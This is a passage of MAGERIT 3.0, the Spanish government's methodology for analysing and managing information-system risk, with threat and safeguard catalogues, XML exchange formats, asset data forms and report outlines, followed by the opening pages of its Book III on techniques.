[S] servicios [HW] equipos informáticos (hardware) [COM] redes de comunicaciones

Descripción: la carencia de recursos suficientes provoca la caída del sistema cuando la carga de trabajo es desmesurada. Ver: EBIOS: 30 - SATURACIÓN DEL SISTEMA INFORMÁTICO

5.4.19. [A.25] Robo [A.25] Robo Tipos de activos: • • •

Dimensiones:

[HW] equipos informáticos (hardware) [Media] soportes de información [AUX] equipamiento auxiliar

3. [D] disponibilidad 4. [C] confidencialidad

Descripción: la sustracción de equipamiento provoca directamente la carencia de un medio para prestar los servicios, es decir una indisponibilidad. El robo puede afectar a todo tipo de equipamiento, siendo el robo de equipos y el robo de so­ portes de información los más habituales. El robo puede realizarlo personal interno, personas ajenas a la Organización o personas con­ tratadas de forma temporal, lo que establece diferentes grados de facilidad para acceder al objeto sustraído y diferentes consecuencias. En el caso de equipos que hospedan datos, además se puede sufrir una fuga de información. Ver: EBIOS: 20 - ROBO DE SOPORTES O DOCUMENTOS 21 - ROBO DE HARDWARE

5.4.20. [A.26] Ataque destructivo [A.26] Ataque destructivo Tipos de activos: • • • •

Dimensiones:

[HW] equipos informáticos (hardware) [Media] soportes de información [AUX] equipamiento auxiliar [L] instalaciones

1. [D] disponibilidad

Descripción: vandalismo, terrorismo, acción militar, ... Esta amenaza puede ser perpetrada por personal interno, por personas ajenas a la Organiza­ ción o por personas contratadas de forma temporal. Ver: EBIOS: 05 - DESTRUCCIÓN DE HARDWARE O DE SOPORTES

© Ministerio de Hacienda y Administraciones Públicas

página 46 (de 75)

Magerit 3.0

Amenazas

5.4.21. [A.27] Ocupación enemiga [A.27] Ocupación enemiga Tipos de activos: •

Dimensiones:

[L] instalaciones

1. [D] disponibilidad 2. [C] confidencialidad

Descripción: cuando los locales han sido invadidos y se carece de control sobre los propios medios de tra­ bajo. Ver: EBIOS: no disponible

5.4.22. [A.28] Indisponibilidad del personal [A.28] Indisponibilidad del personal Tipos de activos: •

Dimensiones:

[P] personal interno

1. [D] disponibilidad

Descripción: ausencia deliberada del puesto de trabajo: como huelgas, absentismo laboral, bajas no justifi­ cadas, bloqueo de los accesos, ... Ver: EBIOS: 42 - DAÑO A LA DISPONIBILIDAD DEL PERSONAL

5.4.23. [A.29] Extorsión [A.29] Extorsión Tipos de activos: •

Dimensiones:

[P] personal interno

1. [C] confidencialidad 2. [I] integridad 3. [D] disponibilidad

Descripción: presión que, mediante amenazas, se ejerce sobre alguien para obligarle a obrar en determi­ nado sentido. Ver: EBIOS: no disponible

5.4.24. [A.30] Ingeniería social (picaresca) [A.30] Ingeniería social (picaresca) Tipos de activos: •

Dimensiones:

[P] personal interno

1. [C] confidencialidad 2. [I] integridad 3. [D] disponibilidad

Descripción: abuso de la buena fe de las personas para que realicen actividades que interesan a un terce­ ro. Ver: EBIOS: no disponible

© Ministerio de Hacienda y Administraciones Públicas

página 47 (de 75)

Magerit 3.0

Amenazas

5.5. Correlación de errores y ataques Errores y amenazas constituyen frecuentemente las dos caras de la misma moneda: algo que le puede pasar a los activos sin animosidad o deliberadamente. Se pueden dar hasta tres combina­ ciones: •

amenazas que sólo pueden ser errores, nunca ataques deliberados

•

amenazas que nunca son errores: siempre son ataques deliberados

•

amenazas que pueden producirse tanto por error como deliberadamente

Para afrontar esta casuística, errores y amenazas se han numerado de tal manera que pueda es­ tablecerse este paralelismo. La siguiente tabla alinea errores con ataques mostrando cómo se co­ rrelacionan: número

error

ataque

1

Errores de los usuarios

2

Errores del administrador

3

Errores de monitorización (log)

Manipulación de los registros de actividad

4

Errores de configuración

Manipulación de la configuración

5

Suplantación de la identidad del usuario

6

Abuso de privilegios de acceso

7

Deficiencias en la organización

Uso no previsto

8

Difusión de software dañino

Difusión de software dañino

9

Errores de [re-]encaminamiento

[Re-]encaminamiento de mensajes

10

Errores de secuencia

Alteración de secuencia

11

Acceso no autorizado

12

Análisis de tráfico

13

Repudio

14

Escapes de información

Interceptación de información (escucha)

15

Alteración accidental de la información

Modificación deliberada de la información

18

Destrucción de información

Destrucción de información

19

Fugas de información

Revelación de información

20

Vulnerabilidades de los programas (soft­ ware)

21

Errores de mantenimiento / actualización de programas (software)

22

Manipulación de programas

23

Errores de mantenimiento / actualización Manipulación de los equipos de equipos (hardware)

24

Caída del sistema por agotamiento de Denegación de servicio recursos

25

Pérdida de equipos

Robo

26

Ataque destructivo

27

Ocupación enemiga

28

Indisponibilidad del personal

Indisponibilidad del personal

29

Extorsión

30

Ingeniería social (picaresca)

© Ministerio de Hacienda y Administraciones Públicas

página 48 (de 75)

Magerit 3.0

Amenazas

5.6. Nuevas amenazas: XML Los amenazas cabe esperar que evolucionen en el tiempo para adaptarse a la evolución tecnoló­ gica. Por ello se incluye a continuación una gramática de tipo XML que permita publicar periódi­ camente actualizaciones de las amenazas antes descritas.

5.6.1. Sintaxis BNF La notación se describe en el apéndice 1. { amenazas }* amenazas ::= { amenaza }* amenaza ::=

#name#

[ descripción ]

{ amenaza }*

descripción ::= #texto#

Atributo

Ejemplo

Descripción

under

under=”X”

X identifica una amenaza ya definida, indicando que las nuevas ame­ nazas son refinamientos de X.

code

code=”X”

X es un identificador único que permite determinar unívocamente a qué amenaza se refiere.

tho

tho=”H”

Origen (agente causante) de la amenaza. Puede ser N – Natural E – Entorno industrial H - Humano

thc

thc=”D”

Causa. Puede ser A – Accidental D - Deliberada

5.6.2. Esquema XSD version: magerit 3.0 (2011) date: 19.11.2011

© Ministerio de Hacienda y Administraciones Públicas

página 49 (de 75)

Magerit 3.0

Amenazas




minOccurs="0" maxOccurs="unbounded"/>












minOccurs="0" maxOccurs="unbounded"/>












minOccurs="0"/>


minOccurs="0" maxOccurs="unbounded"/>



































5.7. Nivel de la amenaza: XML Para que una fuente de información pueda proporcionar datos de inteligencia sobre la probabi­ lidad de que una amenaza se materialice sobre un cierto tipo de activos.

5.7.1. Sintaxis BNF La notación se describe en el apéndice 1. { nivel_de_amenaza }* nivel_de_amenaza ::= [ descripción ] descripción ::= #texto#

© Ministerio de Hacienda y Administraciones Públicas

página 50 (de 75)

Magerit 3.0 Atributo

Amenazas Ejemplo

Descripción

class

class=”C”

C identifica por su código a un tipo ya conocido de activos.

threat

threat=”T”

T identifica por su código a una amenaza ya conocida.

level

level=”A”

Nivel de la amenaza. Puede ser VR – muy raro (very rare) U – improbable (unlikely) P – posible (possible) VH – probable (very high) AC – prácticamente segura (almost certain)

5.7.2. Esquema XSD version: magerit 3.0 (2011) date: 19.11.2011








minOccurs="0" maxOccurs="unbounded"/>












minOccurs="0"/>

















5.8. Referencias Existen numerosas fuentes que catalogan amenazas dentro del ámbito de las tecnologías de la información y las comunicaciones. ISO/IEC 27005 • EBIOS •

© Ministerio de Hacienda y Administraciones Públicas

página 51 (de 75)

Magerit 3.0

Amenazas

•

IT Baseline Protection Manual, Federal Office for Information Security (BSI), Germany. Oc­ tober 2003.

http://www.bsi.de/gshb/english/etc/index.htm

•

Managing Information Security Risks: The OCTAVE Approach, C.J. Alberts and A.J. Doro­ fee, Addison-Wesley Pub Co; 1st edition (July 9, 2002)

http://www.cert.org/octave/

© Ministerio de Hacienda y Administraciones Públicas

página 52 (de 75)

Magerit 3.0

Salvaguardas

6. Salvaguardas Las salvaguardas permiten hacer frente a las amenazas.

Las salvaguardas, especialmente las técnicas, varían con el avance tecnológico

•

porque aparecen tecnologías nuevas,

•

porque van desapareciendo tecnologías antiguas,

•

porque cambian los [tipos de] activos a considerar,

•

porque evolucionan las posibilidades de los atacantes o

•

porque evoluciona el catálogo de salvaguardas disponibles.

En consecuencia, este catálogo de salvaguardas no entra en la selección de paquetes o produc­ tos a instalar, limitándose a establecer un paraguas taxonómico para ordenar y clasificar las dife­ rentes concreciones materiales, tecnológicas, organizativas y procedimentales que sean de apli­ cación en cada momento..

6.1. Protecciones generales u horizontales H

Protecciones Generales

H.IA

Identificación y autenticación

H.AC

Control de acceso lógico

H.ST

Segregación de tareas

H.IR

Gestión de incidencias

H.tools

Herramientas de seguridad

H.tools.AV

Herramienta contra código dañino

H.tools.IDS

IDS/IPS: Herramienta de detección / prevención de intrusión

H.tools.CC

Herramienta de chequeo de configuración

H.tools.VA

Herramienta de análisis de vulnerabilidades

H.tools.TM

Herramienta de monitorización de tráfico

H.tools.DLP

DLP: Herramienta de monitorización de contenidos

H.tools.LA

Herramienta para análisis de logs

H.tools.HP

Honey net / honey pot

H.tools.SFV

Verificación de las funciones de seguridad

H.VM

Gestión de vulnerabilidades

H.AU

Registro y auditoría

© Ministerio de Hacienda y Administraciones Públicas

página 53 (de 75)

Magerit 3.0

Salvaguardas

6.2. Protección de los datos / información D

Protección de la Información

D.A

Copias de seguridad de los datos (backup)

D.I

Aseguramiento de la integridad

D.C

Cifrado de la información

D.DS

Uso de firmas electrónicas

D.TS

Uso de servicios de fechado electrónico (time stamping)

6.3. Protección de las claves criptográficas K

Gestión de claves criptográficas

K.IC

Gestión de claves de cifra de información

K.DS

Gestión de claves de firma de información

K.disk

Gestión de claves para contenedores criptográficos

K.comms

Gestión de claves de comunicaciones

K.509

Gestión de certificados

6.4. Protección de los servicios S

Protección de los Servicios

S.A

Aseguramiento de la disponibilidad

S.start

Aceptación y puesta en operación

S.SC

Se aplican perfiles de seguridad

S.op

Explotación

S.CM

Gestión de cambios (mejoras y sustituciones)

S.end

Terminación

S.www

Protección de servicios y aplicaciones web

S.email

Protección del correo electrónico

S.dir

Protección del directorio

S.dns

Protección del servidor de nombres de dominio (DNS)

S.TW

Teletrabajo

S.voip

Voz sobre IP

6.5. Protección de las aplicaciones (software) SW

Protección de las Aplicaciones Informáticas

SW.A

Copias de seguridad (backup)

SW.start

Puesta en producción

SW.SC

Se aplican perfiles de seguridad

SW.op

Explotación / Producción

SW.CM

Cambios (actualizaciones y mantenimiento)

SW.end

Terminación

© Ministerio de Hacienda y Administraciones Públicas

página 54 (de 75)

Magerit 3.0

Salvaguardas

6.6. Protección de los equipos (hardware) HW

Protección de los Equipos Informáticos

HW.start

Puesta en producción

HW.SC

Se aplican perfiles de seguridad

HW.A

Aseguramiento de la disponibilidad

HW.op

Operación

HW.CM

Cambios (actualizaciones y mantenimiento)

HW.end

Terminación

HW.PCD

Informática móvil

HW.print

Reproducción de documentos

HW.pabx

Protección de la centralita telefónica (PABX)

6.7. Protección de las comunicaciones COM

Protección de las Comunicaciones

COM.start

Entrada en servicio

COM.SC

Se aplican perfiles de seguridad

COM.A

Aseguramiento de la disponibilidad

COM.aut

Autenticación del canal

COM.I

Protección de la integridad de los datos intercambiados

COM.C

Protección criptográfica de la confidencialidad de los datos intercambiados

COM.op

Operación

COM.CM

Cambios (actualizaciones y mantenimiento)

COM.end

Terminación

COM.internet

Internet: uso de ? acceso a

COM.wifi

Seguridad Wireless (WiFi)

COM.mobile

Telefonía móvil

COM.DS

Segregación de las redes en dominios

6.8. Protección en los puntos de interconexión con otros sistemas IP

Puntos de interconexión: conexiones entre zonas de confianza

IP.SPP

Sistema de protección perimetral

IP.BS

Protección de los equipos de frontera

6.9. Protección de los soportes de información MP

Protección de los Soportes de Información

MP.A

Aseguramiento de la disponibilidad

MP.IC

Protección criptográfica del contenido

© Ministerio de Hacienda y Administraciones Públicas

página 55 (de 75)

Magerit 3.0

Salvaguardas

MP.clean

Limpieza de contenidos

MP.end

Destrucción de soportes

6.10. Protección de los elementos auxiliares AUX

Elementos Auxiliares

AUX.A

Aseguramiento de la disponibilidad

AUX.start

Instalación

AUX.power

Suministro eléctrico

AUX.AC

Climatización

AUX.wires

Protección del cableado

6.11. Seguridad física – Protección de las instalaciones L

Protección de las Instalaciones

L.design

Diseño

L.depth

Defensa en profundidad

L.AC

Control de los accesos físicos

L.A

Aseguramiento de la disponibilidad

L.end

Terminación

6.12. Salvaguardas relativas al personal Son aquellas que se refieren a las personas que tienen relación con el sistema de información. PS

Gestión del Personal

PS.AT

Formación y concienciación

PS.A

Aseguramiento de la disponibilidad

6.13. Salvaguardas de tipo organizativo Son aquellas que se refieren al buen gobierno de la seguridad. G

Organización

G.RM

Gestión de riesgos

G.plan

Planificación de la seguridad

G.exam

Inspecciones de seguridad

6.14. Continuidad de operaciones Prevención y reacción frente a desastres.

BC

Continuidad del negocio

BC.BIA

Análisis de impacto (BIA)

BC.DRP

Plan de Recuperación de Desastres (DRP)

© Ministerio de Hacienda y Administraciones Públicas

página 56 (de 75)

Magerit 3.0

Salvaguardas

6.15. Externalización Es cada vez más flexible la frontera entre los servicios de seguridad prestados internamente y los servicios contratados a terceras partes. En estos casos es fundamental cerrar los aspectos de re­ lación contractual: •

SLA: nivel de servicio, si la disponibilidad es un valor

•

NDA: compromiso de secreto, si la confidencialidad es un valor

•

Identificación y calificación del personal encargado

•

Procedimientos de escalado y resolución de incidencias

•

Procedimiento de terminación (duración en el tiempo de las responsabilidades asumidas)

•

Asunción de responsabilidades y penalizaciones por incumplimiento

E

Relaciones Externas

E.1

Acuerdos para intercambio de información y software

E.2

Acceso externo

E.3

Servicios proporcionados por otras organizaciones

E.4

Personal subcontratado

6.16. Adquisición y desarrollo NEW

Adquisición / desarrollo

NEW.S

Servicios: Adquisición o desarrollo

NEW.SW

Aplicaciones: Adquisición o desarrollo

NEW.HW

Equipos: Adquisición o desarrollo

NEW.COM

Comunicaciones: Adquisición o contratación

NEW.MP

Soportes de Información: Adquisición

NEW.C

Productos certificados o acreditados

6.17. Referencias BSI Federal Office for Information Security (BSI). “IT Baseline Protection Manual”, October 2003. Germany. http://www.bsi.de/gshb/english/etc/index.htm CC Comon Criteria. Ver [ISO 15408]. Guías CCN-STIC https://www.ccn-cert.cni.es/ ISO JTC 71/SC 27 Numerosas guías producidas por ISO concretan medidas de seguridad. Consulte el catálogo del comité 71 "TECNOLOGÍA DE LA INFORMACIÓN", subcomité SC 27 "TÉCNICAS DE SE­ GURIDAD".

© Ministerio de Hacienda y Administraciones Públicas

página 57 (de 75)

Magerit 3.0

Salvaguardas

ISO 15408 ISO/IEC 15408:2009, “Information technology — Security techniques — Evaluation criteria for IT security”. ISO 27002 ISO/IEC 27002:2005, “Information technology — Security techniques — Code of practice for in­ formation security management”. UNE-ISO/IEC 27002:2009, “Tecnología de la Información. Código de Buenas Prácticas de la Gestión de la Seguridad de la Información”. NIST 800-53 NIST, “Recommended Security Controls for Federal Information Systems”, National Institute of Standards and Technology, special publication SP 800-53 Rev.3, Aug. 2009. RD 3/2010 Real Decreto 3/2010, de 8 de enero, por el que se regula el Esquema Nacional de Seguridad en el ámbito de la Administración Electrónica. RD 1720/2007 Real Decreto 1720/2007, de 21 de diciembre, por el que se aprueba el Reglamento de desarro­ llo de la Ley Orgánica 15/1999, de 13 de diciembre, de protección de datos de carácter perso­ nal.

© Ministerio de Hacienda y Administraciones Públicas

página 58 (de 75)

Magerit 3.0

Notación XML

Apéndice 1. Notación XML Las descripciones de formatos XML se ajustan a la siguiente notación de tipo BNF 4: •

las etiquetas XML se muestran como tales

•

los atributos XML se explican en la sección “atributos”

•

{ ... }* denota que hay 0 o más

•

{ ... }+ denota que hay 1 o más

•

| denota que son alternativas

•

[...] denota que es opcional (0 o 1)

•

#texto# es contenido literal: un nombre o una descripción

•

lo demás es obligatorio

4 BNF: Backus-Naur Form. Es una forma de representar la gramática de un lenguaje. Una gramática BNF consiste en una serie de reglas de producción, donde el lado izquierdo se materializa en lo que se indica en el lado derecho. El lado derecho puede explicitar términos finales, o bien ser a su vez desarrollado mediante nuevas reglas de producción.

© Ministerio de Hacienda y Administraciones Públicas

página 59 (de 75)

Magerit 3.0

Fichas

Apéndice 2. Fichas Las siguientes secciones proporciona fichas para la captura de datos en un proyecto de análisis y gestión de riesgos. Reproduzca las fichas siguientes, una por activo, del tipo que corresponda.

A2.1. [info] Activos esenciales: información [info] Información código:

nombre:

descripción:

propietario: responsable:

tipo (marque todos los adjetivos que procedan) Ver Sección 2.1.

Valoración de la información, típicamente en las siguientes dimensiones de seguridad: [I] integridad [C] confidencialidad [A] autenticidad de los datos [T] trazabilidad de los datos, quién ha modificado qué

Valoración dimensión

valor

justificación

[I] [C] [A] [T] Las dependencias normalmente identifican servicios y personas que manejan esta información:

Dependencias de activos inferiores (hijos) activo:

grado:

© Ministerio de Hacienda y Administraciones Públicas

página 60 (de 75)

Magerit 3.0

Fichas

Dependencias de activos inferiores (hijos) ¿por qué?: activo:

grado:

¿por qué?: activo:

grado:

¿por qué?:

A2.2. [service] Activos esenciales: Servicio [service] Servicio código:

nombre:

descripción:

responsable:

tipo (marque todos los adjetivos que procedan) Ver Sección 2.1.

Valoración de los servicios que ofrece la Organización a otros, típicamente en las siguientes di­ mensiones: [D] disponibilidad [A] autenticidad de quién accede al servicio [T] trazabilidad de quién accede al servicio, cuándo y que hace

Valoración dimensión

valor

justificación

[D] [A] [T] Las dependencias normalmente identifican equipamiento desplegado para prestar este servicio:


aplicaciones (sw),




equipos (hw),




equipos de comunicaciones,




soportes de información (media), etc.




personas a cargo del servicio.

© Ministerio de Hacienda y Administraciones Públicas

página 61 (de 75)

Magerit 3.0

Fichas

Dependencias de activos inferiores (hijos) activo:

grado:

¿por qué?: activo:

grado:

¿por qué?: activo:

grado:

¿por qué?:

A2.3. [D] Datos / Información [D] Datos / Información código:

nombre:

descripción:

responsable: tipo (marque todos los adjetivos que procedan) Ver Sección 2.3.

Las dependencias normalmente identifican


equipos que los hospedan




líneas de comunicación por las que se transfieren




soportes de información




personas relacionadas: usuarios.

Dependencias de activos inferiores (hijos) activo:

grado:

¿por qué?: activo:

grado:

¿por qué?: activo:

grado:

¿por qué?:

© Ministerio de Hacienda y Administraciones Públicas

página 62 (de 75)

Magerit 3.0

Fichas

A2.4. [K] Claves criptográficas [K] Claves criptográficas código:

nombre:

descripción:

responsable: tipo (marque todos los adjetivos que procedan) Ver Sección 2.4.

Las dependencias normalmente identifican


equipos que las hospedan




soportes de información




personas relacionadas: operadores, administradores y criptocustodios.

Dependencias de activos inferiores (hijos) activo:

grado:

¿por qué?: activo:

grado:

¿por qué?: activo:

grado:

¿por qué?:

A2.5. [S] Servicios [S] Servicios código:

nombre:

descripción:

© Ministerio de Hacienda y Administraciones Públicas

página 63 (de 75)

Magerit 3.0

Fichas [S] Servicios

responsable: tipo (marque todos los adjetivos que procedan) Ver Sección 2.5.

Las dependencias normalmente identifican


personas relacionadas: usuarios, operadores y administradores.

Dependencias de activos inferiores (hijos) activo:

grado:

¿por qué?: activo:

grado:

¿por qué?: activo:

grado:

¿por qué?:

A2.6. [SW] Aplicaciones (software) [SW] Aplicaciones (software) código:

nombre:

descripción:

responsable: tipo (marque todos los adjetivos que procedan) Ver Sección 2.6.

Las dependencias normalmente identifican


personas relacionadas con esta aplicación: operadores, administradores y desarrolladores.

Dependencias de activos inferiores (hijos) activo:

grado:

¿por qué?:

© Ministerio de Hacienda y Administraciones Públicas

página 64 (de 75)

Magerit 3.0

Fichas

activo:

grado:

¿por qué?: activo:

grado:

¿por qué?:

A2.7. [HW] Equipamiento informático (hardware) [HW] Equipamiento informático (hardware) código:

nombre:

descripción:

responsable: ubicación: número: tipo (marque todos los adjetivos que procedan) Ver Sección 2.7.

Las dependencias normalmente identifican


personas relacionadas con este equipo: operadores, administradores




instalaciones que lo acogen

Dependencias de activos inferiores (hijos) activo:

grado:

¿por qué?: activo:

grado:

¿por qué?: activo:

grado:

¿por qué?:

A2.8. [COM] Redes de comunicaciones [COM] Redes de comunicaciones código:

nombre:

© Ministerio de Hacienda y Administraciones Públicas

página 65 (de 75)

Magerit 3.0

Fichas [COM] Redes de comunicaciones

descripción:

responsable: ubicación: número: tipo (marque todos los adjetivos que procedan) Ver Sección 2.8.

Las dependencias normalmente identifican


personas relacionadas: operadores, administradores




instalaciones que lo acogen

Dependencias de activos inferiores (hijos) activo:

grado:

¿por qué?: activo:

grado:

¿por qué?: activo:

grado:

¿por qué?:

A2.9. [Media] Soportes de información [SI] Soportes de información código:

nombre:

descripción:

responsable: ubicación: número: tipo (marque todos los adjetivos que procedan) © Ministerio de Hacienda y Administraciones Públicas

página 66 (de 75)

Magerit 3.0

Fichas [SI] Soportes de información

Ver Sección 2.9.

Las dependencias normalmente identifican


personas relacionadas: operadores, administradores




instalaciones que lo acogen

Dependencias de activos inferiores (hijos) activo:

grado:

¿por qué?: activo:

grado:

¿por qué?: activo:

grado:

¿por qué?:

A2.10. [AUX] Equipamiento auxiliar [AUX] Equipamiento auxiliar código:

nombre:

descripción:

responsable: ubicación: número: tipo (marque todos los adjetivos que procedan) Ver Sección 2.10.

Las dependencias normalmente identifican


personas relacionadas con este equipo: operadores, administradores

Dependencias de activos inferiores (hijos) activo:

grado:

¿por qué?: © Ministerio de Hacienda y Administraciones Públicas

página 67 (de 75)

Magerit 3.0

Fichas

activo:

grado:

¿por qué?: activo:

grado:

¿por qué?:

A2.11. [L] Instalaciones [L] Instalaciones código:

nombre:

descripción:

responsable: ubicación: número: tipo (marque todos los adjetivos que procedan) Ver Sección 2.11.

Las dependencias normalmente identifican


personas relacionadas con esta instalación: guardias, encargados de mantenimiento

Dependencias de activos inferiores (hijos) activo:

grado:

¿por qué?: activo:

grado:

¿por qué?: activo:

grado:

¿por qué?:

A2.12. [P] Personal [P] Personal código:

nombre:

descripción:

© Ministerio de Hacienda y Administraciones Públicas

página 68 (de 75)

Magerit 3.0

Fichas [P] Personal

número: tipo (marque todos los adjetivos que procedan) Ver Sección 2.12.

No suelen identificarse dependencias.

© Ministerio de Hacienda y Administraciones Públicas

página 69 (de 75)

Magerit versión 2

Modelo de valor

Apéndice 3. Modelo de valor En este apéndice se describe un formato XML para el intercambio de modelos de activos entre herramientas. Este formato debe entenderse como de mínimos, en el sentido de que las herra­ mientas pueden incorporar información adicional a la prescrita. La información que se intercambia incluye •

identificación de los activos, con un código y un nombre descriptivo

•

identificación de bajo qué tipo(s) cabe clasificar el activo

•

identificación de las dependencias entre activos

•

valoración de los activos en diferentes dimensiones

La notación se describe en el apéndice 1.

A3.1. Formato XML modelo ::=



{ dato }*

{ activo }*

{ dependencia }*

{ valoración }*



dato ::=



activo ::=



#nombre#

{ tipo }+

{ dato }*



tipo ::=



dependencia ::=



valoración ::=



atributo

ejemplo

descripción

código

codigo=”X”

Acrónimo que identifica unívocamente un activo en un modelo; es decir, que no pueden haber códigos repeti­ dos.

clave

clave=”responsable”

Aparece como características adicionales que informan sobre el modelo o activo. Típicamente aparecen claves como autor, organización, documentación relevante, cla­ sificación, ubicación, fecha, versión, etc.

texto

texto=”JRP”

Texto asociado a la clave en una característica.

tipo

tipo=”T”

T es el código de alguno de los tipos definidos. Ver capítulo 2.

superior

superior=”X”

X es el código de algún activo del modelo.

© Ministerio de Hacienda y Administraciones Públicas

página 70 (de 75)

Magerit versión 2 atributo

Modelo de valor ejemplo

descripción

inferior

inferior=”X”

X es el código de algún activo del modelo.

grado

grado=”valor”

Un número real entre 0.0 y 1.0.

activo

activo=”X”

X es el código de algún activo del modelo.

dimension

dimension=”D”

D es el código de alguna de las dimensiones definidas. Ver capítulo 3.

valor

valor=”[clave]” valor=”valor”

Puede ser una clave simbólica o una cantidad real, posi­ tiva. Ver capítulo 4.

© Ministerio de Hacienda y Administraciones Públicas

página 71 (de 75)

Magerit versión 2

Informes

Apéndice 4. Informes A lo largo del proyecto de análisis y gestión de riesgos se han identificado una serie de informes para los cuales se propone un índice a continuación. Frecuentemente, se puede extraer de estos informes un informe ejecutivo que excluye los detalles.

A4.1. Modelo de valor Caracterización del valor que representan los activos para la Organización así como de las dependencias entre los diferentes activos. 1. Identificación del proyecto Código, descripción, propietario, organización. Versión, fecha. Biblioteca de referencia. 2. Activos 2.1. Árbol de activos (relaciones de dependencia) 2.2. Valoración de los activos (valor propio) Indicando la razón de la valoración atribuida a cada activo en cada dimensión. 3. Descripción detallada Para cada activo: • clasificación (ver capítulo 2) • activos superiores e inferiores • valoración: valor propio y acumulado en cada dimensión

A4.2. Mapa de riesgos Relación de las amenazas a que están expuestos los activos. 1. Identificación del proyecto Código, descripción, propietario, organización. Versión, fecha. Biblioteca de referencia. 2. Activos 2.1. Árbol de activos (relaciones de dependencia) 2.2. Valoración de los activos (valor propio) Indicando la razón de la valoración atribuida a cada activo en cada dimensión. 3. Amenazas por activo Para cada activo: • amenazas relevantes (ver capítulo 5) • degradación estimada en cada dimensión • frecuencia anual estimada 4. Activos por amenaza Para cada amenaza: • activos afectados • degradación estimada en cada dimensión • frecuencia anual estimada

© Ministerio de Hacienda y Administraciones Públicas

página 72 (de 75)

Magerit versión 2

Informes

A4.3. Evaluación de salvaguardas Evaluación de la eficacia de las salvaguardas existentes en relación al riesgo que afrontan. Se trabaja respecto de •

un catálogo de salvaguardas (ver capítulo 5)

1. Identificación del proyecto Código, descripción, propietario, organización. Versión, fecha. Biblioteca de referencia. 2. Salvaguardas (ver capítulo 5) Para cada salvaguarda, al nivel de detalle que se estime oportuno, indicación de su eficacia

frente a los riesgos a los que se enfrenta.

Si procede, muéstrese la evolución histórica y la planificación actual.

A4.4. Estado de riesgo Caracterización de los activos por su riesgo residual; es decir lo que puede pasar tomando en consideración las salvaguardas desplegadas. 1. Identificación del proyecto Código, descripción, propietario, organización. Versión, fecha. Biblioteca de referencia. 2. Activos Para cada activo: 1. Impacto acumulado 2. Riesgo acumulado

3. Impacto repercutido

4. Riesgo repercutido

Si procede, muéstrese la evolución histórica y el efecto de la planificación actual.

A4.5. Informe de insuficiencias Ausencia o debilidad de las salvaguardas que aparecen como oportunas para reducir el riesgo sobre el sistema. Se trabaja respecto de •

un catálogo de salvaguardas (ver capítulo 5)

•

un umbral de eficacia

1. Identificación del proyecto Código, descripción, propietario, organización. Versión, fecha. Biblioteca de referencia. 2. Salvaguardas Para cada salvaguarda, al nivel de detalle que se estime oportuno, cuya eficacia sea infe­ rior a un umbral determinado, indicación de su eficacia frente a los riesgos a los que se en­ frenta.

Si procede, muéstrese la evolución histórica y la planificación actual.

© Ministerio de Hacienda y Administraciones Públicas

página 73 (de 75)

Magerit versión 2

Informes

A4.6. Plan de seguridad Conjunto de programas de seguridad que permiten materializar las decisiones de gestión de riesgos. 1. Marco de referencia •

Política de seguridad de la organización

•

Relación de normas y procedimientos

2. Responsables y responsabilidades (a nivel de organización) 3. Programas de seguridad Por cada programa identificado:

•

objetivo genérico

•

prioridad o urgencia

•

ubicación temporal: ¿cuándo se llevará a cabo?

•

salvaguardas involucradas

•

unidad responsable de su ejecución

•

estimación de costes financieros

•

estimación de recursos

•

estimación de impacto para la organización

Cuando llega el momento para ser acometido, cada programa de seguridad debe detallar: •

Su objetivo genérico.

•

Las salvaguardas concretas a implantar o mejorar, detallando sus objetivos de calidad, efi­ cacia y eficiencia

•

La relación de escenarios de impacto y/o riesgo que afronta: activos afectados, tipos de acti­ vos, amenazas afrontadas, valoración de activos y amenazas y niveles de impacto y riesgo

•

La unidad responsable de su ejecución.

•

Una estimación de costes, tanto económicos como de esfuerzo de realización, teniendo en cuenta:

•

•

costes de adquisición (de productos), o de contratación (de servicios), o de desarrollo (de soluciones llave en mano), pudiendo ser necesario evaluar diferentes alternativas

•

costes de implantación inicial y mantenimiento en el tiempo

•

costes de formación, tanto de los operadores como de los usuarios, según convenga al caso

•

costes de explotación

•

impacto en la productividad de la Organización

Una relación de subtareas a afrontar, teniendo en cuenta •

cambios en la normativa y desarrollo de procedimientos

•

solución técnica: programas, equipos, comunicaciones y locales,

•

plan de despliegue

•

plan de formación

© Ministerio de Hacienda y Administraciones Públicas

página 74 (de 75)

Magerit versión 2

Informes

•

Una estimación del tiempo de ejecución desde su arranque hasta su puesta en operación.

•

Una estimación del estado de riesgo (impacto y riesgo residual a su compleción).

•

Un sistema de indicadores de eficacia y eficiencia que permitan conocer en cada momento la calidad del desempeño de la función de seguridad que se desea y su evolución temporal.

© Ministerio de Hacienda y Administraciones Públicas

página 75 (de 75)

MAGERIT – versión 3.0 Metodología de Análisis y Gestión de Riesgos de los Sistemas de Información Libro III - Guía de Técnicas

TÍTULO: MAGERIT – versión 3.0. Metodología de Análisis y Gestión de Riesgos de los Sistemas de Información. Libro III - Guía de Técnicas Elaboración y coordinación de contenidos: Dirección General de Modernización Administrativa, Procedimientos e Impulso de la Administración Electrónica Equipo responsable del proyecto: Director, Miguel Angel Amutio Gómez, Ministerio de Hacienda y Administraciones Públicas Javier Candau, Centro Criptológico Nacional, Ministerio de la Presidencia Consultor externo: José Antonio Mañas, Catedrático de la Universidad Politécnica de Madrid Características: Adobe Acrobat 5.0 Responsable edición digital: Subdirección General de Información, Documentación y Publicaciones (Jesús González Barroso) Madrid, octubre de 2012 Disponible esta publicación en el Portal de Administración Electrónica (PAe): http://administracionelectronica.gob.es/ Edita: © Ministerio de Hacienda y Administraciones Públicas Secretaría General Técnica Subdirección General de Información, Documentación y Publicaciones Centro de Publicaciones Colección: administración electrónica NIPO: 630-12-171-8

Índice

1. Introducción ...................................................................................................................4 2. Técnicas específicas .....................................................................................................5

2.1. Análisis mediante tablas.........................................................................................................6 2.1.1. Referencias.....................................................................................................................7 2.2. Análisis algorítmico. ...............................................................................................................8 2.2.1. Un modelo cualitativo .....................................................................................................8 2.2.2. Un modelo cuantitativo .................................................................................................12 2.2.3. Un modelo escalonado .................................................................................................16 2.2.4. Sobre la eficacia de las salvaguardas ..........................................................................20 2.3. Árboles de ataque ................................................................................................................22 2.3.1. Nodos con atributos......................................................................................................22 2.3.2. Riesgo residual .............................................................................................................23 2.3.3. Construcción del árbol ..................................................................................................23 2.3.4. Referencias...................................................................................................................24

3. Técnicas generales......................................................................................................25

